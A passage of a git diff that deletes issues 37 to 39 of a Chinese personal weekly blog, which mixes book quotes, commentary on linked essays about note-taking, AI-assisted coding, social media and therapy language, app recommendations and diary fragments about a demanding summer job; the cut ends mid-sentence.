-访问:[VERT.sh](https://vert.sh) - -## ※ · 妙语 - -{{< quotecard >}}Fabricando fit faber, age quod agis.{{</ quotecard >}} - -这句话是我从《[包法利夫人](/library/2025/包法利夫人/)》里抄来的,出自第三部第二章。当时药房老板奥梅正在训斥打杂的小伙子朱斯坦,因为他居然想偷懒去拿配药间里的盆子盛果酱,而那旁边就放着砒霜。[^1]药房老板的训斥开始转为说教,随后就引用了这句话。这句拉丁文的意思是「熟能生巧、心无二用」。 - -这句话并不那么有名,以至于我查找到了两种翻译,分歧主要在最后一段上:一种和原书中给出的翻译一致,表示「专注你正在做的事情」;另一种翻译的理解是「无论在做什么」(whatever you may be doing)。我查阅到 age 的意思是「做」,quod 是一个关系代词,而 agis 是第二人称单数的现在时,后半段翻译过来是「Do what you are doing」。所以第一种翻译才是正确的。 - -这句话是对仗的,fabricando 和 faber 都是同一个单词的不同形式,对应到英文是类似 make 和 maker 的关系;而 age 和 agis 已经说过了,是类似 do 和 doing 的关系。这句话直译过来是「制造才能练就匠人,做现在正在做的事情」。 - -如果觉得「Practice makes perfect」被用烂了,不如换成拉丁文。 - -## ∬ · 切片 - -- 从宿舍搬走之后,考试复习的焦虑也就没有从室友那传染给我了,每次进考场都很从容,走出来的时候也没有什么内心波澜,考试周博客还能保持更新频率。如果有人问我为什么上大学要独居,这就是原因之一:不会被傻逼传染变成傻逼。🤷 -- 成绩出了一半,在有三门课绩点都在 3.7 及以上的情况下,体育课成功把我拉下了水,考了个很涩的数字——69。 -- 看各种针对男性的穿搭教程或者穿搭视频,我最常说出口的评价就是「好直男啊……」,以至于我看的几乎都是女性穿搭博主做的中性穿搭。不过已经培养起一些对服装的审美了,兴许自己搭也没什么问题了。另外,「直男」真是一个很好用的贬义形容词。😉 -- 独居的前期有朋友问我生活作息有没有没得混乱,这对很多人来说似乎很容易发生,但我完全没有,大概是因为我在宿舍的时候就能做到六点半第一个起床吧。不过独居之后在穿着上变随意了,一个人在家大部分时候都是光着膀子的,~~以便欣赏自己刚练出来的若隐若现的肌肉轮廓。~~ -- 无情地删掉已经没用的笔记(比如已经写成文章、未来已经用不到了),不要纠结于过去耗费的时间精力,要像[射精](/posts/分娩式创作和射精式创作/)之后扔掉纸巾一样干脆!(?) -- 做饭切完小葱再切洋葱都没流泪,做鸡腿的时候听到[这期播客](https://podcasts.apple.com/cn/podcast/%E7%A2%B3%E5%9F%BA%E7%94%9F%E7%89%A9%E7%94%9F%E5%AD%98%E6%8C%87%E5%8D%97/id1707385930?i=1000715016625)最后一段把我弄哭了。 - -[^1]: 现在回顾起这一段,我才意识到爱玛就是在这个时候了解到药房老板把砒霜放在哪的,以及谁能拿到钥匙。爱玛自杀的情节,在这个时候就有铺垫了。 - -[^3]: 参见《[手机大脑](/library/2024/手机大脑)》和《[数字极简](/library/2024/数字极简)》 - -[^4]: 只是有可能会在我写代码修博客的时候,收到一连串的博客更新汇报和截图 😉 diff --git a/content/posts/weekly/37.md b/content/posts/weekly/37.md deleted file mode 100644 index baf31a48..00000000 --- a/content/posts/weekly/37.md +++ /dev/null @@ -1,144 +0,0 @@ -+++ -title = "稻草人周刊 Vol.37" -subtitle = "我删除了我的第二大脑" -tags = [ - "笔记方法", - "效率", - "AI", - "编程", - "互联网文化", -] -date = 2025-07-14 06:36:00 -categories = "稻草人周刊" -banner = "https://r2.eltr.ac/picgo2025/IMG_2557%E5%A4%A7.jpeg" -draft = false -toc = true -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", - "封面图拍摄地点为丰都鬼城", -] -mentioned_books = [ - "一生之敌", -] -aliases = [ - "/posts/weekly/37", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="450" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/%E6%88%91%E5%80%91%E5%B0%B1%E5%83%8F%E9%82%A3%E4%BA%9B%E8%A6%81%E5%91%BD%E7%9A%84%E5%82%BB%E7%93%9C/1822757825"></iframe> - -告五人的新专辑,最喜欢《黑画面之旅》、《愈合》和《黑夜狂奔》。要说我听什么中文歌,似乎也只有告五人了。其实有想尝试一些华语专辑的,如果有推荐欢迎留言。<!--more--> - ---- - -> ![announcement] -> 上上周误发了 [36 期周刊](/posts/weekly/36/)的草稿,导致 36 周刊正式发布时,一些 RSS 阅读器和 VXNA 以为这篇文章已经发过了,就没有更新,所以,如果你错过了上周的周刊,可以回去看看。 - ---- - -## ↯ · 当下 - -- 正在通过调整饮食改善身体,每顿都有较合理的主食、蛋白质和膳食纤维分配。不过我发现自己其实很难通过日常饮食吃够蛋白质,所以决定试试蛋白粉。由于不爱吃鱼,从来不碰海鲜,所以买了鱼油补充 Omega-3(即使健康饮食皮肤也不好、头屑多,这大概是原因)。看过一些科普之后也还是怀疑这到底是不是智商税,决定先试一两个月看看效果。之前一直有在补维生素 B 族和锌,要说改善可能也有吧。[^2] -- 高强度上班中…… -- 正在读树老师翻译的《如何从敌人身上获益》,很喜欢普鲁塔克的文风,感觉有影响我最近的博客写作。 -- 有了一个 App 想法,能满足我的一个比较大的需求,想着等这段时间的工作结束之后学学 Swift 和 SwiftUI,或者看看能不能先做一个原型出来。 - -## ⋈︎ · 连接 - -### 我删除了我的第二大脑 - -> [!note] 📜 -> 文章链接:[I Deleted My Second Brain](https://www.joanwestenberg.com/p/i-deleted-my-second-brain) - -作者删除了他七年来存放在 Obsidian 里的所有笔记,在这之后她感到的是释然。我很佩服这种勇气,因为我最多只一口气删过积累了一年的笔记。作者的很多想法都和我一致,一个过度完备的系统反而会削减学习时的思考,增加维护系统的压力,就像等待更新的操作系统一样。 - -> 我往笔记库里写的东西越多,我感受到的就越少。看到一句引人深思的引言,我把它剪藏起来、打好标签、做好链接——然后继续。但产生的洞见从来没有真正活过,只是被存起来了。就像真空密封好的食物从来没吃过,营养价值悄悄流失。 - -> 这种系统让我停止了好奇,而是立马开始处理信息。 - -> 我们的大脑会遗忘,这是它刻意为之。 - -> 我不需要一个有 7000 条内容的数据库来证明我有品位或者雄心壮志。 - -作者在最后告诫读者「真正重要的事情会回来的」,不必担心遗忘。作者他不想要管理知识,而是希望让知识真正地活过来。我认为,构建人生系统、卡片盒系统是很容易上瘾的,容易造成效率幻觉。衡量效率的唯一标准从来不是系统,而是真正产出了多少结果。 - -如果你感兴趣,可以读读我写在英文博客上的《[Take Ugly Notes and Do Pretty Work](/en/posts/take-ugly-notes-do-pretty-work/)》,我在这篇文章里讨论了我对于笔记系统的看法。我最近对于笔记的态度也从「简单分类」逐渐过渡到「完全不分类」「用完就删」,兴许过几天可以单独写篇文章谈谈。 - -[#笔记方法](/tags/笔记方法) [#效率](/tags/效率) - -### 写代码从来不是瓶颈 - -> [!note] 📜 -> 文章链接:[Writing Code Was Never The Bottleneck](https://ordep.dev/posts/writing-code-was-never-the-bottleneck) - -随着大语言模型在编程的应用不断发展,一种论调愈演愈烈:写代码是软件开发的瓶颈,现在我们已经解决这个瓶颈了! - -作者通过他多年的开发经验谈到,写代码从来不是瓶颈,而是测试、审查、知识的传递(knowledge transfer)和团队沟通。如今的局面是,写代码比以往都更直接,但验证代码正变得前所未有地复杂,这不会让整个团队运作得更快。在大语言模型诞生之前,程序员就经常拿「C/V 工程师」[^1]开玩笑,**大语言模型的出现只是放大了复制粘贴的习惯**。 - -> 编码的最大代价是理解代码,从来不是写代码。 - -写代码的成本的确降低了,但作为一个团队共同理解代码的成本并没有。 - -对我来说,AI 编程并有没加快效率。我一个人能三天干完的工作,工作量只是翻个倍,到了一个六个人的团队里要干八天,即便团队成员人人都用 AI 写代码。而且我还经常给其他人擦屁股,哪怕他们的代码都不是自己写的。大语言模型编程还会导致依赖,以至于原本五秒钟就能在 StackOverflow 上找到解决方案的问题,用 AI 改了十几遍,把代码改得不成样子,有的人也不愿意离开和 AI 的对话框。要说的话,AI 编程创造了新的瓶颈。 - -[#编程](/tags/编程/) [#AI](/tags/AI/) - -### 社交媒体的「屠龙者终成恶龙」 - -> [!note] 📜 -> 文章链接:[Engineered Addictions](https://masonyarbrough.substack.com/p/engineered-addictions) - -作者希望改变如今社交媒体存在的问题,打造一个没有无尽信息流、重视真实连接(authentic connection)的社交媒体平台,但当投资者问他「如何吸引用户」「如何增加用户参与度」等问题时,他意识到自己不能用一个新的社交媒体应用解决社交媒体存在的问题,因为社交媒体的问题是系统化、结构化的,用同一个框架只会最终导致相同的问题。 - -作者指出,即使是 Instagram,一开始也是让亲朋好友分享图片的照片墙而已,被 FaceBook 收购之后就完全变了样。作者承认社交媒体创始人们的真心,但这种真心往往会为现实低头。这不是因为创始人邪恶或者用户的意志力低下,这是因为社交媒体的框架结构让这种结果不可避免地发生。 - -社交媒体存在的问题在于,**我们把人与人之间的连接外包给了为赚钱而设计的系统**。为了保证资金稳定,就需要想办法吸引用户并持续激发用户数量增长,人们看重活跃用户数量而非无法量化的「真实连接」,想办法用工程技术手段让用户上瘾而不关注用户的健康。 - -不过,到最后,作者也没能给出一个实在的解决方案,只是抽象地呼吁「我们不需要更好的社交媒体,而是需要一个让社交媒体变得不那么必要的系统」,至于这个系统是什么、怎么做,仍然是未知。 - -对我来说,博客是社交媒体的极佳替代品。开源、去中心化的社交媒体平台兴许是更好的选择,不过我没用过,没有发言权。不过我认为作者构想的「新社交媒体」和以上两种都不是同一个东西。 - -[#互联网文化](/tags/互联网文化/) - -## ⁂ · 星群 - -### CSS Minecraft - -一个完全用 CSS 实现的 Minecraft,只有放置方块和破坏方块的功能。我简单看了看源代码,没有看懂具体的实现方式。CSS 代码一共四百多行,能实现这样的效果很令人佩服。 - - - -访问:[GitHub - BenjaminAster/CSS-Minecraft](https://github.com/BenjaminAster/CSS-Minecraft) - -### InputSource Pro - -一个可以设置不同 App、网站自动切换输入法的 Mac 软件,还能在切换时在光标处显示当前的输入语言。对于程序员来说很好用,在代码编辑器和网页之间切换时就不需要手动切换输入法了;对游戏玩家来说或许也有点用。~~(但谁用 Mac 打游戏啊?!)~~ - -访问:[GitHub - runjuu/InputSourcePro](https://github.com/runjuu/InputSourcePro) - -### RingIt(灵环) - -一个 Mac 软件,可以设置快捷键在鼠标光标位置展开一个环状菜单栏,用于执行一些快捷操作。如果用的不是妙控鼠标,可以用鼠标中键展开圆环。不过试过之后我还是更喜欢 Spotlight 和 Raycast 这样的键盘快捷操作,而不是用得更少的鼠标。 - - - -访问:[Mac App Store 上的“Ringit - 灵环”](https://apps.apple.com/cn/app/ringit-%E7%81%B5%E7%8E%AF/id6744840952?mt=12) - -## ※ · 妙语 - -{{< quotecard >}}冒牌的创新者总是极度自信,而真正的那位却心虚得要命。{{</ quotecard >}} - -这句话摘自《[一生之敌](/library/2025/一生之敌/)》,描述的现象有个名字,叫做「冒名顶替综合征」(Imposter Syndromes)。这个词的意思是,一些成功人士容易觉得自己的成功实际上是运气好或别人帮助的结果,并非自己努力得来的,自己不过是「冒名顶替」,因此觉得心虚。这不一定是矫情或者过度自谦,很有可能是一种真实的心理障碍,即没法承认自己真的值得成功。 - -上班的时候,那些最容易让我在心里狠狠翻白眼的人,就是那些无时无刻散发着没道理的自信的人,其次是那些毫不吝啬给这些人赞美的人。不过,我其实也很羡慕这样的人,他们活得更快乐,也很少内耗、质疑自己,兴许这样的自信也让他们更有勇气尝试新的事情。我的这种心理障碍,也让我很难真正地为他人感到高兴,大概算是人格缺陷。 - -## ∬ · 切片 - -- ~~他从周二开始就没有回我消息了,但愿他只是累了。~~ 他周六晚上问我想不想出去旅游,我要上班,他说可以等我到八月。我想在休息日约他出来玩,他说他没法拒绝亲戚的邀约,我意识到我并不是唯一一个关心他和他的病的人。我居然有点羡慕。 -- 我回想起上周和他去唱 KTV,三个小时内把我会唱的歌都快唱完了。我点了 Taylor Swift 的《End Game》,他那个时候笑着抬头说了三个字,我没怎么听清。后来才意识到他说的是「黄霉戏」,这是 Taylor Swift 粉丝对这首歌的戏称。[^3]他不怎么听 Taylor Swift,照理来说不该知道这些黑话。我记得有一次看见他刷视频的时候在看霉霉相关的内容,也总是时不时问我听什么歌。他一直在想办法了解我,但说不出口,所以只能用他自己的方式。 -- 因为忙到没有时间做饭,在下一个休息日可以找到时间买菜备餐之前,都在一直点外卖。这才意识到大部分的外卖真的都是又贵又肥,同时也让我意识到**老子不想上这种吞掉我所有精力和时间的破班**,无论我喜不喜欢这份工作。大学生积累工作经验的意义或许就是判断自己到底愿不愿意上班吧…… - -[^1]: Ctrl + C 是复制的快捷键,Ctrl + V 是粘贴的快捷键,C/V 工程师指只会上网复制粘贴别人的代码的程序员。 - -[^2]: 二十岁的年纪就开始养生了啊 😊 - -[^3]: 因为是 Ed Sheeran(黄老板)和 Taylor Swift(霉霉)合作的歌曲。 diff --git a/content/posts/weekly/38.md b/content/posts/weekly/38.md deleted file mode 100644 index 0de763ba..00000000 --- a/content/posts/weekly/38.md +++ /dev/null @@ -1,175 +0,0 @@ -+++ -title = "稻草人周刊 Vol.38" -subtitle = "「心理治疗语言」正在摧毁个性" -tags = [ - "心理学", - "AI", - "写作", - "教育", - "效率", -] -date = 2025-07-21 00:01:00 -categories = "稻草人周刊" -draft = false -toc = true -mentioned_books = [ - "如何从敌人身上获益", -] -aliases = [ - "/posts/weekly/38", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/%E6%9C%89%E5%A4%AA%E5%A4%9A%E4%B8%8D%E8%83%BD%E8%AE%B2/1822757825?i=1822757827"></iframe> - -告五人新专辑里最喜欢的一首,不过初听时没觉得很惊艳来着。 - -> 有太多不能讲 怕你看见他 -> -> 有太多必要的麻烦 -> -> 怕你知道我没有办法 - -<!--more--> - -## ↯ · 当下 - -- 用 UnoCSS 重构了博客的样式。 -- 从「减脂增肌同时进行」的目标转为「只关注增肌」,因为最近朝九晚九的工作,让我很难在大量用脑后不吃点糖和盐。由于抽出做午饭的时间就很难了,晚上更是只能通过又贵又肥的外卖度日。如果要减脂的话,这些正常的身体反应又会给我更多的压力。[^4] - -## ⋈︎ · 连接 - -### 「心理治疗语言」正在摧毁个性 - -> [!note] 📜 -> 文章链接:[Nobody Has A Personality Anymore](https://www.freyaindia.co.uk/p/nobody-has-a-personality-anymore) - -作者观察到,如今的年轻人(尤其是 Z 世代女孩)大部分都把自己的心理问题当作自我认同的一部分,把自己当作一系列需要解决的问题。曾经被称作性格的东西如今成了未被诊断的 ADHD 和自闭症。在 Z 世代的叙事中,没有人是慷慨的,只有「讨好型人格」(people-pleasers);没有人是害羞的,而是有轻微「自闭症」;没有人是友善、爱人的,他们只是有「焦虑型依恋」;没有努力工作的人,只有创伤的、不安的 Overachiever[^5];你不是爱人,只是这个人让你在潜意识层面想起了曾经伤害过你的父母…… 曾经让人觉得可爱的点,如今都成了心理诊断的证据。 - -心理治疗本应该帮助那些真正需要帮助、日常生活受心理障碍影响的人,而如今的年轻人陷入了一种必须要解释清楚每一件事情、拼命证明自己有病的困境,在这一过程中逐渐失去了自我。凡事都要搞清楚原因或许是现代科学给现代人的诅咒,在解释一切客观存在的同时,现代科学教给人们的求知态度也让人们在审视自己时,难以将情感放在第一位。**过度理性地剖析自己,反而会造成更深远的痛苦**。 - -读完之后我痛苦地意识到,《[人类恶疾](/categories/人类恶疾/)》这个文章系列就是这种「过度理性剖析」的产物。尽管我在这个系列里数次强调,重点不是治好自己的「病」,而是认识到并承认自己有「病」,放大对自己的觉察,但不可否认,这种叙事和语言的确极大地影响了我的思想。 - -> 理性不能让人行动,情感才是促使人们行动的原因。人们可以认为某事是完全合乎逻辑的,但仍然不去做。 - -{{< right "——《[阈限思维](/library/2025/阈限思维/)》" >}} - -我认为,理性分析的结果和情感上是否接受应该分开看。我可以在非常清楚地意识到自己喜欢某人是因为他的长相和说话方式有点像那个从没爱过我的父亲之后,也毅然决然地投入这段我有真情实感的感情,两者并不冲突。承认自己的「病」,把「症状」都摊开来给别人看,反而能让自己对自己的缺陷一笑置之,保留人类应有的性格。 - -作者在这篇文章中表达的对「过度分析自我」的担忧,在我看来,实际上是对「分析后无法接受自己的个性」的担忧。人们可以借用现代心理学的方法认识自己,只是要在自己的缺陷和「病症」被一针见血地指出后,仍然保留自我,接受人性可爱的一面,而不是把一切都妖魔化,逼自己成为一个冰冷的、受医学认可的「正常人」。 - -[#心理学](/tags/心理学/) - -### 用 AI 构建自己的「用户画像」 - -> [!note] 📜 -> 文章链接:[I used o3 to profile myself from my saved Pocket links](https://noperator.dev/posts/o3-pocket-profile/) - -稍后读服务 Pocket 即将停运之际,作者导出了他七年来保存的 900 多条链接,喂给了 ChatGPT 的 o3 模型(没有使用「记忆」功能),让 ChatGPT 仅通过他保存的链接推断他的年龄、性别、家庭情况、教育水平、职业和定居地等信息。作者觉得 AI 生成的描述和自己基本符合。 - -这个小实验引发了我的几点思考: - -1. 仅仅从一个人看些什么就足以推断大量关于他的隐私信息。 -2. 大语言模型不仅可以用于推断用户喜好,还可以得出精确的用户画像。 -3. AI 的发展对用户隐私来说是巨大的威胁。[^1] - -此外,本着「对于 AI 生成的内容我宁愿读提示词」的态度,在这里引用作者做这个小实验时用到的提示词,指示明确、非常详尽,很值得学习。 - -> I’m going to share a list of articles that I’ve saved to Pocket, a read-it-later app. I want you to use that information to “profile” me. Tell me everything about myself that you can possibly infer from this data set. Here’s an example of possible dimensions of that profile, but feel free to include other things that you can infer: age, sex, geographic location, education level, industry/field of work, job level/seniority, income bracket, political orientation, risk tolerance, learning style, information diet, relationship status, parental status and kids’ ages, health concerns, major life transitions, seasonal patterns in interests, etc. -> -> 我即将分享我保存到 Pocket(一个稍后读应用)中的一系列文章。我想要你用这个信息来构建我的“用户画像”。告诉我一切你能从这个数据集中推测出来的,有关我的信息。通过以下我给出的维度为例构建画像,但随意增加其他你能够推断的内容:年龄、性别、地理位置、教育水平、行业/工作领域、职业等级/资历、收入组别(income bracket)、政治倾向、为人父母的状态和孩子的年龄、健康隐患、重大生活变更、兴趣的季节变化规律[^6]等等。 - -[#AI](/tags/AI/) - -### 没有评论功能的博客 - -> [!note] 📜 -> 文章链接:[没有留言板的博客 \| So!azy](https://blog.solazy.me/20250716/) - -一方面,我想要在互联网上获取尽可能高质量的内容,另一方面,我想要保持信息来源尽量精简,所以在订阅博客的时候就会做一些筛选,其中一条对我而言比较重要的筛选标准就是「有没有评论功能」,因为我想要保留和作者沟通的可能。不过,读完这篇文章之后,我对没有评论功能的博客有了些改观。 - -中文博客圈中,没有评论功能的博客占少数,英文博客则有不少都没有评论,博主会请读者通过 Email 等方式交流想法。之前在《[论独立博客的评论](/posts/论独立博客的评论/)》这篇文章中提到过,相比起来,中国人不太习惯通过 Email 一对一交流,更偏好在公共空间表达。如果表达者想要避免造成一言堂,对评论保持开放态度就比较重要。作者的这篇文章从他的角度谈到了评论功能的负面影响:**表达时会产生顾虑**。在我看来,这实际上是一种无法逃避的自我审查。 - -除了自我审查,开放评论的负面影响还有**期望导致的失望**。就拿我举例,大部分人都很难忍住不在空闲时刷刷手机,对我来说,比起刷视频,我更喜欢顺手打开博客的 Umami 统计和 Giscus 评论看看网站的流量,确认一下有没有新的评论。实际上,就算我看到有新评论,也会等到我有较长的休息时间,精力也比较好的时候才回复。我看评论只是为了满足被看见的欲望,而不是为了及时回复别人。应该没有一个表达者不会期待反馈。 - -这么说的话,没有评论功能的博客确实有诸多好处,可以从某种程度上减轻自我审查、舆论审查的影响[^3],也可以减少期待和期待衍生的焦虑和失望。毕竟要是没有得到直接回应的可能,就不会因为没有反馈而感到失望,反而,当收到有人通过 Email 等其他更麻烦的途径来给自己留言时,喜悦的程度会更大。 - -其实我很想尝试在一段时间里移除博客的评论区,如果你对此有些看法,欢迎在我下定决心之前给我留言谈谈你的看法。 - -[#写作](/tags/写作/) - -### 当 AI 摧毁大学写作 - -> [!note] 📜 -> 文章链接:[What Happens After A.I. Destroys College Writing?](https://www.newyorker.com/magazine/2025/07/07/the-end-of-the-english-paper) - -作者是大学英语教授,他在这篇文章里分享了自己观察到的学生对 ChatGPT 等大语言模型的使用态度,以及他自己对 AI 工具和学生的理解,其中有几点引发了我的思考。 - -1. 当 ChatGPT 生成的内容越来越像人,我们会不会开始思考什么样的文字听起来才像我们自己?作者听一个学生说,她在写作时会感到焦虑,害怕自己真正写出来的东西读起来像 AI 生成的。我还没有到焦虑的程度,但偶尔会担心自己写出来的东西甚至不如 AI 更像人。**被怀疑用 AI 写东西,大概是对作者最大的羞辱**之一。 -2. 人们用「幻觉」(hallucination)来描述大语言模型犯的错误,很容易让人联想到一个 24 小时没睡觉所以大脑宕机的人类助理。**人们把 AI 工具过度拟人化**(anthropomorphize)了。我认为这种思想应该纠正,任何 AI 工具都不能作为人一样的主体出现——AI 不会取代人,会使用 AI 的人才会取代人——工具不会取代人,创造和使用新工具并且能提升生产力的人才会取代人。 -3. **既然人人都会用 AI 写东西,那么写出原创且有趣的文字只会变得更加重要。** - > ... the ability to write original and interesting sentences will become only more important in a future where everyone has access to the same A.I. assistants. -4. AI 生成的内容变得越来越难检测。当所有人都用 AI 写出能得高分的内容,而那些真正思考并投入了大量精力写作的学生却只拿到低分,很难想象高等教育会变成什么样子。作者的一个学生跟他说他正在用 AI 写人文课的作业,他承认他什么也没记住,但似乎并不在意,最后他得了一个 A- 和一个 B+。 -5. **AI 可能不会让人的能力降低,但多半会让他们变得「没耐心」**。一个学生说她很喜欢写作的过程,甚至会在写作之后花很长的时间自己纠错改字,但发现使用 ChatGPT 能让自己更快完成作业之后,她就变得不那么有耐心了。写代码也是这样,有的人宁愿用相同的提示词(甚至加上哭爹喊娘和「问候 AI 全家」的语言)反复要求 AI 修好程序出现的问题,也不愿意自己读一读代码和文档,甚至连离开聊天框去搜索一下解决方案都不愿意。 -6. 如果 AI 真的让学生学得更快了,那么给他们更难的题目也应该没问题。作者的同事用博士级别的题目做期末考,结果是: - > “They fucking failed it miserably.” - - 类似的问题也出现在程序员中。AI 确实能让局部的效率加快,让人感觉写代码变快了就能加快开发的速度,但实则不然,在整体上 AI 反而有可能拖慢效率,因为 AI 和依赖 AI 工具的人缺乏对整个项目的理解。 - -[#AI](/tags/AI/) [#教育](/tags/教育/) [#效率](/tags/效率/) - -## ⁂ · 星群 - -### OpenCut - -CapCut(剪映)的开源替代品,目前还在 waitlist 阶段,除了 GitHub 仓库和一个官网基本没有别的东西。要开源实现剪映的所有功能是个大工程,但如果做出来了一定是一件造福人类的事情。 - -另外,官网的这个视频截切条挺好玩的,想扒一扒前端代码玩玩。 - - - -访问:[OpenCut](https://opencut.app) - -### Making Software - -一个写给设计和制作软件者的参考指南,其中有很多有意思的计算机知识,而且大部分不是很基础的、在学校里会讲的知识,比如:「什么是 Shader」「触摸屏如何工作」「怎么让代码变快」。只不过大部分条目都还没有写完。 - -网站是作者一个人编写的,插图也是他绘制的,这个网站上的设计,包括排版和动画还有字体,我都很喜欢。我最喜欢的是这个网站右侧的目录,做成了一个标尺的样子。最妙的是,它不只是一个目录,它还直观地显示了每一小节有多长,点击标题之间的小标尺还能跳转到非标题的位置,很有意思。我很想把这个设计抄下来,但思考实现方式时意识到还需要计算标题之间的距离,似乎太麻烦了。 - - - -访问:[Making Software](https://www.makingsoftware.com) - -## ※ · 妙语 - -{{< quotecard >}}在古希腊语中,语言和理性是同一个词,即 logos。{{</ quotecard >}} - -这句话来自《如何从敌人身上获益》的脚注,一本我最近忙到没精力读的书,是树老师翻译的,也就是那个我一直很喜欢听的播客的主播。这本书是古希腊哲学家普鲁塔克的《道德论丛》选集。 - -关于这本书的内容留到读完之后,在书评里再讲。读书的时候,能窥见一些古希腊社会文化的影子,比如这里提到的古希腊人对理性和语言的理解。 - -在我的理解中,语言的确能够表达情感,但并非是直接的情感表达,而是通过理智认知情感后,用理性的语言描述感性的存在所得到的结果。我想,情绪崩溃时可以通过写日记、写文章来缓解,是因为写字是通过语言强行调动理性解释情绪,用理性的态度面对情绪的方式。 - -## ∬ · 切片 - -- 周六骑车上班的时候,有点想死在路上;周日晚上骑车下班也是。 -- 我在中文互联网上能在任何话题下看到「在 AI 时代……」这种表述,在英文互联网上更是如此,任何话题、任何文章下,几乎都有人写「In the age of AI, ...」。我一直不认为大语言模型发展的这几年足够被称作一个「时代」,这个用词并不准确,**人人都在用着炒作者的语言**。 -- 头发留长了,不太想烫头也没时间打理,于是扎了个小辫,意外地还不错。 -- 想养一只美西螈,但想到一个月之后可能又要搬家(一方面想找人合租降低花销,另一方面确实对现在的环境不太满意),不想让另一个生命和我一起折腾,就先放了放。最近买书也克制了很多,断断续续地在多抓鱼上卖了一些,因为搬家时最重的就是我的书了。一想到搬家的压力,就不免想要一个稳定的住所,可能这也是「家」的意义之一吧。 -- 休息日出门买菜,回来的时候在楼下电梯口遇到一只萨摩耶,看到我就笑着吐着舌头小跑过来,然后闻了闻我袋子里有什么。不过他好像不太聪明,因为他嗅的是西兰花,没嗅到另一个袋子里的鸡胸肉和鸡腿肉。嗅完就开开心心地从我身后走掉了,可爱呢~ -- 当我想要找一些华语专辑来听的时候,为什么会在歌名里和歌词里听到这么多英语呢?(当然他们的英语也不差啦!) -- 一个自律的大学生终于明白为什么有的人会天天熬夜吃夜宵了:**上班上的**。 - -### 关于工作的碎碎念 - -- 我**痛恨**无时无刻都要与人共处一室,在集训营做助教这种工作,又要从早上九点上到晚上九点,就难以避免持续不断的令人厌烦的社交。在这个地方根本找不到一个安静的场所,离开教室不管学生又是失职行为,学生练习时也不可能让他们闭嘴,带上降噪耳机也无法屏蔽人类的聒噪。学生因为和我关系好,甚至会在我自己找了一个角落吃饭的时候来和我聊天,我根本就不知道什么时候应该把 AirPods 的降噪模式关掉。这份工作最可怕的是我需要无止尽地付出情绪劳动,因为和学生的情感链接也是我工作的一部分,我不能在学生想找我聊天的时候告诉他我需要安静。上三天休半天的节奏也让我的休息时间充满了生活琐事,买菜、备餐、锻炼、清洁,即使是这样我也要一直忍受生活的失序,看着乱成一团的屋子,却累到只能直接趴床上。我几乎没办法在不嘈杂不会被打扰的环境读点什么、写点什么,我已经一个月没有读完一本书了。==至少现在我完全确定了,我绝对不会从事教师这种需要一直和人接触的工作,我只想关心对我来说真正重要的人。== -- 周日的时候,带班老师要我带学生玩一次班级活动,因为她要去忙别的事情,没时间带。她给我的时间轴上显示我有 50 分钟,于是我就设计了一个由三轮任务组成的游戏,班上 8 个人中 6 个好人和 2 个卧底,卧底需要隐藏身份并捣乱。其中其实有不少推理要素,比如第一轮游戏需要玩家独自上前把卡片移动到正确的位置上,但一个人只能移动一次,且别人不能观察,根据最后的结果推理中间是谁在捣乱。大概是创作者的毛病,规则越写越上头,结果就给 8 个人都写了背景故事和身份描述,他们还有各自持有线索,变成了小型的剧本杀。**这大概是我半个月以来唯一一次这样开心、这样投入地做一件事情**。结果等一切都准备好了,老师告诉我前后又突然有了新的安排,时间压缩到了 30 分钟;她也没告诉我她给学生买了披萨吃,游戏的第一轮大家都在吃东西,节奏很乱,第二轮还有人在收拾东西,投票的时候都有人没坐下…… 最后我还没来得及解释完故事线,就被拉去开会了…… 最后老师在复盘总结的时候,甚至没想起我做了这件事情,参与的学生给的反馈也不好。后来我把剧本喂给 ChatGPT(因为我又在经历一次「身为人类的无能时刻」),它称赞了我的情节和玩法设计,也指出这次失败是环境和客观因素导致的,我知道他在恭维我,但我还能跟谁讲呢?**那个让我觉得最接近亲密关系的人正在住院,吃着药对抗自己的情绪,我有什么理由不坚强一点处理好自己的失败呢?** - -[^1]: 尤其是 AI Agents,需要收集大量信息来实现「客制化」。也可以参考[第 18 期周刊](/posts/weekly/18/#firefox-放弃了用户隐私),FireFox 在不久前不再承诺「永不出售用户数据」并声明 Mozilla 拥有用户在浏览器内上传的数据使用权,这很有可能是为了用用户数据来训练模型。 - -[^3]: 不过这对我来说无足轻重 - -[^4]: 暑假刚开始的时候我为什么要想着给自己找个班上呢 😓 - -[^5]: 我不知道怎么翻译这个词,大概的意思是:过度地想要做出更多成就的人。 - -[^6]: 这个 interests diff --git a/content/posts/weekly/39.md b/content/posts/weekly/39.md deleted file mode 100644 index 955e2ecc..00000000 --- a/content/posts/weekly/39.md +++ /dev/null @@ -1,131 +0,0 @@ -+++ -title = "稻草人周刊 Vol.39" -subtitle = "小县城出身如何塑造我的思考" -tags = [ - "认知", - "生物学", - "技术", - "文化", -] -date = 2025-07-28 08:21:00 -categories = "稻草人周刊" -draft = false -toc = true -banner = "https://r2.eltr.ac/picgo2025/city-sky.jpeg" -endnotes = [ - "封面图自摄,设备为 iPhone 15 Pro", -] -aliases = [ - "/posts/weekly/39", -] -+++ -<iframe allow="autoplay *; encrypted-media *;" frameborder="0" height="150" style="width:100%;max-width:660px;overflow:hidden;background:transparent;" sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-storage-access-by-user-activation allow-top-navigation-by-user-activation" src="https://embed.music.apple.com/cn/album/%E7%8E%B0%E5%9C%A8%E7%9A%84%E4%BA%8B%E6%88%91%E8%AF%B4%E4%B8%8D%E5%87%BA%E5%8F%A3/1771608912?i=1771609554"></iframe> - -> 后来的我,只能假装自己忘记了太多 -> -> 伤心时候,已经不再期待有你的问候 - -<!--more--> - -## ↯ · 当下 - -- 给 iPhone 升级了 iOS 26 Public Beta,除了许多 App 没做适配之外,非常喜欢这次 UI 的更新。 -- 周日晚上哭了,因为我找不到人倾诉我的痛苦,开着语音输入在 ChatGPT 